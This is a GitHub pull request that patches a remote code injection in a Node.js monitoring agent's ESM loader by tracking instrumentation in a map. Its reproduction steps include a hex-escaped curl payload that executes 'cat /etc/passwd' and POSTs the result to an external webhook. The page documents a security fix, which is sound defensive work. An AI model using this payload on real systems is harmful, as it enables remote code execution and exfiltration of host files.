security: updated esm loader track instrumentation by url in a map instead of in url to avoid remote code executions #1741
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Description
We had a report about a potential Remote Code Injection(RCE). Although technically true the risk of this happening is lower
than the initial report. It requires customers to be importing paths with tainted strings and then provide this attack vector.
Note: If
request.query.lang
was never imported as part of path this RCE does not exist.Steps to reproduce
npm i express newrelic
node --loader newrelic/esm-loader.mjs index.mjs
curl "http://localhost:7777/?lang=en.mjs?hasNrInstrumentation=true%23';eval('console.log\x28\x27INJECTED\x27\x29\x0Aimport\x28\x27child_process\x27\x29\x0A\x20\x20.then\x28childProcess\x20\x3D\x3E\x20childProcess.execSync\x28\x27cat\x20\x2Fetc\x2Fpasswd\x27\x29\x29\x0A\x20\x20.then\x28data\x20\x3D\x3E\x20Promise.all\x28\x5Bdata\x2C\x20import\x28\x27http\x27\x29\x5D\x29\x29\x0A\x20\x20.then\x28\x28\x5Bdata\x2C\x20http\x5D\x29\x20\x3D\x3E\x20\x7B\x0A\x20\x20\x20\x20http.request\x28\x27http\x3A\x2F\x2Fapi.webhookinbox.com\x2Fi\x2FqzSmWSJa\x2Fin\x2F\x27\x2C\x20\x7B\x0A\x20\x20\x20\x20\x20\x20method\x3A\x20\x27POST\x27\x0A\x20\x20\x20\x20\x7D\x29.end\x28data\x29\x0A\x20\x20\x7D\x29');'"
If you use this PR and repeat steps above you will not see the
INJECTED
string in the console nor will it post the contents of/etc/passwd
to the webhook.Context
It is worth noting we will still append
hasNrInstrumentation
to urls and then remove on wrap. But we will not rely on this to determine instrumentation. I have found that if we do not modify the resolved specifier url we cannot do imports within the load hook. As we have discussed as a team this entire loader is getting re-tooled to support Node 20. I just had to address this as we have SLAs on security reports.